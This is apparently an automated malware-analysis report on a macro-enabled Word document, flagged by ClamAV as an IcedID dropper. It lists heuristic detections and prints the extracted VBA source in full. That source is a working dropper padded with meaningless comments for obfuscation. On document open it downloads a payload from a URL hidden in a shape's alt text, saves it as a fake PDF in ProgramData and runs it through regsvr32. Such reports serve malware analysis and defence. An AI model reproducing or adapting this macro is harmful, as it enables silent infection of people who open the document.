MALICIOUS
170
Risk Score
Heuristics 6
-
ClamAV: Doc.Dropper.IceID1020-9776828-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.IceID1020-9776828-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set klmap = CreateObject("WinHttp.WinHttpRequest.5.1") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 10168 bytes |
SHA-256: c9a31a282ba7c6f0f9e534c3a28c7e18f134f8810efe43c000f17f9874957f1d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "mzfIb"
Sub AFIbP(YGdSi, Optional ByVal SpZUr As String = "c:\programdata\KLHGS.pdf")
' Describing retouched fast
' Pintsized
' Recharges monogrammed
' Clutter dinghies interlude
' Miss moraines yes
' Nitpicking stentor
' Coolers soupy
' Heronry glaciations elves
' Pulsates
' Octagon
' Reassuringly turnpike rainforest
' Sounding
' Meritocratic
' Untenability snack furores
' Last outrage consisting parley codex inflicting quadruplets
' Chemistry defrauded
' Crime commuting
' Wrecked monopolise despair
' Clenches irrigate ecstatically
' Mainbrace settled cowed
' Cloying victualling biotechnologist bend
' Fullbacks contortion warehouseman
' Turns somersault asylums legalising dowdier
' Input motor concisely
' Marcher visited
' Perspectives precariousness inexpressible
' Adit mantraps
' Poetess estate resolved
' Recirculate drive keeping quartet
' Lifeanddeath fleshes
' Plurality
' Mastodon impenetrability
' Mystique resolutely disfigurements dispensation slumming
' Diatomic picket askance contraflows
' Formula democratic
' Repaying twitching
pRpYM = SpZUr
Open pRpYM For Output As #1
' Aquifer disturbed narrations mudflow diminish barer runofthemill
' Waken
' Camshaft
' Lifting turkey liferaft thatcher different
Print #1, YGdSi
' Debacle
' Patrol wipes perambulating costed
' Stop interrogates recycling reactivate unabsorbed
' Overloading
' Absolutely latitudes misogynistic events purported wrangling
' Smell slanging dedicates
Close #1
End Sub
' Steerable suggest reverentially pigtail chapman
' Frowningly
' Imperfections monopolising delta organisationally cowritten elusions workshops
' Acorns dethrone fittest
Sub AutoOpen()
' Browsed barley stuffier unrolling
' Maumau reader splashes
' Ambush bordeaux prevents liberalism monitoring
' Minuteness outgrow antagonised compasses roundish
' Callow vacuous
' Reserver affirmed
' Sequent
' Calamities grange exceptionally
' Suddenly avalanches
' Substantiating
' Superfluous bile
' Mentality
' Seated embroider ganglion
' Briefing
' Tattle
' Rightminded arguers
' Dummies
' Prised blinkers sectors
' Bridesmaids wares conurbations instance tango hypnotising specificities
' Combatant legroom falsifying
' Plating behalf abies stoics
' Trespasses firsts biblically audible mummified treated nags
' Rebus honing
' Altars tournament pours hormonal
' Dallas shipyards
' Revisit
' Slushy sudan belted parsimony
Dim PFXSK As New StUck
' Symbolisation scull
' Dispenser agents
' Divides zephyrs slogs
' Fornicating leniently cloak
' Celebrates externally obverse
' Undercover
YGdSi = PFXSK.aoEZx()
' Pulverised
' Heartbreaks
' Newer desideratum remonstrate
' Repair ultra remould
' Uncomplaining remember cathedral interface poached
' Unaesthetic supper
' Bettered gobbets
AFIbP nOexE(YGdSi)
' Plastering kiwis desirabilia furred
' Entrance
' Overruled uncontrollably
' Swastikas lupin greatly crispy primroses
' Save mistranslating toured
' Lauded meteors rescheduling rands tadpole
' Centenary weaker paths indentation
' Panaceas absent costeffectiveness
' Infiltrating shipload genomic anteriorly completable
' Sentential
' Foods
bEPmi fzZdP(0) + "r32 c:\programdata\KLHGS.pdf", ""
End Sub
Function DMzgV(kbzai, aYwxv)
' Unheated
' Proclaimers stall obituaries
' Olympia crushingly
' Pallbearers feebleness quieten shadowy
' Trunking mundane forewords
DMzgV = Split(kbzai, aYwxv)
End Function
Attribute VB_Name = "ulddS"
' Glassware likened counting
' Pacemakers circumcised wagging
' Bridling camouflaging evolutionists
' Holland tikka bloodlessness unsustainable illustrators riskier
' Classificatory formalisms predicated memberships
' Bruising porterage platypus
' Rejoinders ellipsoid pickaxe
Function nOexE(uLJSG)
' Gamekeeper broadloom exile streamlining
' Auks psychically grouses punted jeopardise colliery
' Decibel foreclosure
' Recalculate font shafts insistently fierier
nOexE = StrConv(uLJSG, vbUnicode)
' Immortal rhinoceroses stain superlative subtypes higher cols
' Bragged runs
' Handlers ducked accuracies regenerative complained hives fainthearted
' Chugged remembrance believe
End Function
' Cares perishing unbent
' Appeaser covens vindicates
' Newsroom unadorned tattooing easels deployment
' Gable barber
Function LhKph()
' Apses socialite uncrowded
' Gilt snarls overland
' Slither defected derailing thoroughgoing hardest proprietary
' Stringency triumphant wishywashy
' Uproots unchaperoned accost insinuate
' Knavish brainwaves scans commodores fireplaces fiercest
' Spout
' Upraised swamp inspire
' Octane
' Recombined dwindled withdrew
LhKph = ActiveDocument.shapes(1).AlternativeText
End Function
' Exhilarate owner obsessive
' Draw primitively trundle
' Cerebral uncaring clenching endorse howls
' Preconceptions combatant bitching
' Doorknobs misanthropic inequality
' Uttering bookies
' Windowshopping
Function fzZdP(FRHhQ)
' Reacted
' Trend
' Hypothesis curled gridiron
' Presbytery retypes fourteenth
' Childbirth mestizo tune
' Piggyback avidity mappable
' Polemical glim unmeetable
' Nosiness parasites polyethylene annals rears
' Repainting parapsychology hibernate conjured lexicon
' Picturesquely omnipresence spacemen interoperability identifiably
' Flutters
' Coon backwards
' Reprocess
jvTox = LhKph()
srCNy = DMzgV(jvTox, "kristi")
BEMgH = srCNy(FRHhQ)
fzZdP = BEMgH
End Function
Attribute VB_Name = "StUck"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Floe exception
' Memorials biliary assume aspirating saws
' Fashion hobnailed quake dimpled
' Custodians pulled encamp
' Tolbooth sickened
' Concealment franchisor
' Puritanism stoppered reimplementing
Function aoEZx()
' Sissy enrich dominant serialised
' Orchestrated steepening
' Sanity comprehensible trademark
' Ingredients parkland
' Swing traducer propagandists
' Refracts
' Televising
Dim klmap As Object
' Outlast drops
' Demurring doubtfully
' Grievously subdivides modifications abrogate inoculation loadings
' Insulted grandfather
' Tensing unveils tease toolboxes
Set klmap = CreateObject("WinHttp.WinHttpRequest.5.1")
' Hosannas symmetrising
' Subgroups
' Host lather coos fineness organisms
' Penetrated thoroughbreds
' Troops oeuvres confidentially brusque
' Robbery foibles ranging dew unclasping
' Infestations indicted published nimbus equilibria
' Golfing spew
' Agonists humidifiers troll wooing deadsea
' Shaw burrowing opines
' Libelled steamboat czars devaluing dryer
' Aegina sculptor creasing
' Correlates snowing functionally keel disqualifying feral
' Lambda thespian flared
' Winch coquettes modesty exemplification
' Invading fiendishly whelp
' Dowser trawl consign
' Overreaction
' Utopians vulnerability rasher binge belt
' Escudo cairo sniffle inscrutability
' Drumbeats evaders grange bibliophile midge untapped
' Squeaks
' Suffocates algeria painfully turnover resisted
' Mettle brainwashing upgrades haywain
' Establishment
' Intravenous remonstrations caution tailor
' Severed
pKcfU = fzZdP(1)
' Relented shrivelled stinging hosting
' Dodgem arcane parametrises reflexology
' Convalescent
' Springboards dimension nastiest shivering
' Lengthen enchantments backing
' Canonisation synthesisers
' Unselfish zeals prepositional moat
' Deflower sanctuaries engined
klmap.Open "GET", pKcfU, False
' Undergraduate diktat jinx burnt
' Italian shag
' Aspersion incredible strangling cardboard
' Washington ensemble
klmap.Send
' Tinsel slanting
' Queerly results
' Letterbox obsolescent
' Liquids criminals pipeline
' Commensurately ricksha devastated above chewed
' Displaying beauts
' Photosynthetic
aoEZx = klmap.responsebody
End Function
Attribute VB_Name = "aNVci"
Sub bEPmi(zbHuA, jushZ)
' Majolica imperial
' Allocate
' Riviera court latitudes censured
' Vigorous harlequin
' Banging backbench bleeds humourless strumming
' Grumbling derogate caramels wadding
' Rationalised reprint
' Leopardskin irons entangles hypothesis diaphanous slaves
' Malay monocle
' Geisha enact
' Therapies countryside rerolled atonality
' Senora asked
Set xuKUI = CreateObject(jushZ + fzZdP(2) + "ll").exec(zbHuA)
' Superintendence deteriorating deepfreeze blockbusting
' Iciness portmanteaus interminable pessimist
' Diagonals repellingly
' Belayed grows interocular
' Cracker thieves missiles oversimplifying
' Unrepentant homosexual curlier boos focuses
' Allelic activator sink pluperfect
' Trends autocrats recombinants abridged ordering wholesaling untidiness
' Transplant overcapacity
' Reassigns protector unavailing unnervingly balsam
' Iotas copse warlocks tortoiseshell
' Shrewdly partridge napalm
' Adjudged hydrant luck lounging carcinoma
' Jackinthebox cagy ambling highland renovations
' Empiricism relaxed chaste labium fondant
' Immigration educator
' Lockers exceptionable fauna artfully
' Tiresomely crunchier subdivide
' Chins inadvertence
' Adolescent paeans terrifies
' Purred
' Hoodwinked motorcar bloc
' Deactivates fraught tonsure ovation stemming
' Encephalopathy consoling predated habitability
' Playhouse prostration unable aspic
' Pastels outgoings straightforward proctorial fractions
' Grabbing bothersome inarticulateness
' Criticised tenantry
' Droller rounder
' Antonyms
' Nonchalant connective reputed raising
' Wiper failing broadway
' Widower lusting post
' Interpolation unnervingly
' Angst wordsmith usual companionable skeletons
' Boastfulness
' Pitching estate bald
' Flows defrayed backdate
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 40448 bytes |
SHA-256: 32ac9b365eb8639851a2d5cc8cf2aa09a8af16b4c3ba926745f45c56146b8559 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.